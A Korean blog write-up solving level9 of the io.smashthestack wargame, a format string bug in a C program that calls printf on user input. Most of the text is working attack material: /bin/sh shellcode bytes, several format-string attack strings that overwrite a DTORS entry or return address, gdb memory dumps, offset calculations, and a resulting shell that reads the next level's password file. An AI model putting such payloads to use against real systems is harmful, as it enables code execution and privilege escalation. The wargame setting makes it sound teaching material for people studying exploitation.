level9
level9는 소스가 완전히 바뀌었네요.
int main(int argc, char **argv) { int pad = 0xbabe; char buf[1024]; strncpy(buf, argv[1], sizeof(buf) - 1); printf(buf); return 0; }
마찬가지로 포맷 스트링입니다. DTOR_END를 이용했습니다.
DTOR_END : 080494d4
shellcode : "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
egg shell의 주소 : 0xbfffdce4
공격 스트링
/levels/level9 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08"+"%8x%8x%8x"+"%56508c%n%58139c%n"'`
$-flag를 쓰면
/levels/level9 `python -c 'print "AAAA\xd4\x94\x04\x08BBBB\xd6\x94\x04\x08"+"%4$56532x%5$n%6$58139x%7$n"'`
더 짧게 쓰면
/levels/level9 `python -c 'print "\xd4\x94\x04\x08\xd6\x94\x04\x08"+"%3$56540c%4$n%3$58139c%5$n"'`
기본적인 문제라 어렵지 않게 계산해서 한방에 해결.
pass : uawurxf5
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
level9의 소스입니다.. printf(buf); 포맷스트링이네요. 포맷스트링 버그는 잘 몰라서 시간이 좀 걸렸습니다.
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv) {
char buf[1024];
strncpy(buf, argv[1], sizeof(buf) - 1);
printf(buf);
return 0;
}
몇일동안 날새고 난 휴우증 때문인지 1주일 동안 포맷스트링 어택에 대해서 틈틈히 읽어봤지만 좀처럼 정리가 되질 않더군요. 다행히도 비누님이 작성하신 문서를 보고 나니 먼가 감이 와서 다시 디벼봤습니다.
Format string attack 은 결국 "원하는 주소에 원하는 값을 덮어 씌우는 것" 입니다.
일반적으로 여기서 원하는 주소는 return address 이며 원하는 값은 shellcode의 주소 입니다.
return address 를 찾아봅시다. 스택프레임에서 ebp+4 의 위치에 return address 가 있을거라 생각됩니다.
(gdb) disas main
Dump of assembler code for function main:
0x080483b4 <main+0>: push %ebp
0x080483b5 <main+1>: mov %esp,%ebp
0x080483b7 <main+3>: sub $0x418,%esp
......
(gdb) b *0x080483b5
Breakpoint 1 at 0x80483b5
(gdb) r
Starting program: /levels/level9
Breakpoint 1, 0x080483b5 in main ()
(gdb) info reg esp
esp 0xbfffdd48 0xbfffdd48
(gdb) x/12x 0xbfffdd48
0xbfffdd48: 0xbfffdd98 0x00b65ea8 0x00000001 0xbfffddc4
0xbfffdd58: 0xbfffddcc 0x00000000 0x00c7eff4 0x00000000
0xbfffdd68: 0x0046bcc0 0xbfffdd98 0xbfffdd50 0x00b65e6d
(gdb) x/12x 0x00b65ea8
0xb65ea8 <__libc_start_main+200>: 0xe8240489 0x00016570 0x3883d231 0xc2940f00
0xb65eb8 <__libc_start_main+216>: 0xffff4de9 0x3493ffff 0x8b000037 0x00372c83
0xb65ec8 <__libc_start_main+232>: 0x08fff000 0x31c2940f 0x75d284c0 0x2404c7d3
0xbfffdd4c 의 값이 return address 이므로 이곳에 우리가 올린 shellcode의 주소를 넣을수 있다면 원하는 코드를 실행 시킬 수 있을 것입니다.
shellcode는 eggshell 을 이용해서 환경변수에 올렸습니다. 버퍼가 충분해서 쉘코드를 바로 집어넣어도 될듯
0xbfffdd08 로 바꾸면되겠네요. bfffdd08 을 그대로 입력하면 3221216520 입니다. 너무 커서 2바이트씩 잘라서 넣습니다.
공격 스트링의 구성입니다.
4 4 4 4 24 0xbfffdd4c 0xbfffdd4e
dd08 bfff
위와 같이 매칭을 해서 집어넣으려면 자리수를 만들어야합니다.
0xdd08 (56584) - 0x28 (40 = 4+4+4+4 +24) = DCE0 (56544)
0x1bfff (114687) - 0xdd08 (56584) = E2F7 (58103)
최종 공격 스트링입니다.
AAAA\x4c\xdd\xff\xbfBBBB\x4e\xdd\xff\bf %8x%8x%8x%56544c%n%58103c%n
자신만만하게 시도했지만 세그 폴트가 나더군요. gdb 상에서 리턴어드레스와 실제 리턴 어드레스는 차이가 난다라는 비누님의 조언과 Null@Root의 Willy 님이 쓰신 글(http://ttongfly.net/zbxe/?document_srl=42560&mid=systemhack&listStyle=&cpage=)을 보고 리턴어드레스를 추측해서
아래의 쿼리로 쉘을 얻을 수 있었습니다. (0x10씩 바꿔서 해봤습니다.)
sh-3.1$ id
uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9)
sh-3.1$ cat /home/level10/.pass
xe0dogrh
'War game > io.smashthestack.org' 카테고리의 다른 글
io smashthestack level25 (0) | 2014.02.09 |
---|---|
io smashthestack level24 (0) | 2014.02.09 |
level8 (0) | 2010.01.21 |
level7 (0) | 2010.01.19 |
level6 (0) | 2010.01.19 |
level5 (8) | 2010.01.19 |
level4 (8) | 2010.01.18 |
level3 (0) | 2010.01.18 |
level2 (0) | 2010.01.18 |
level1 (0) | 2010.01.18 |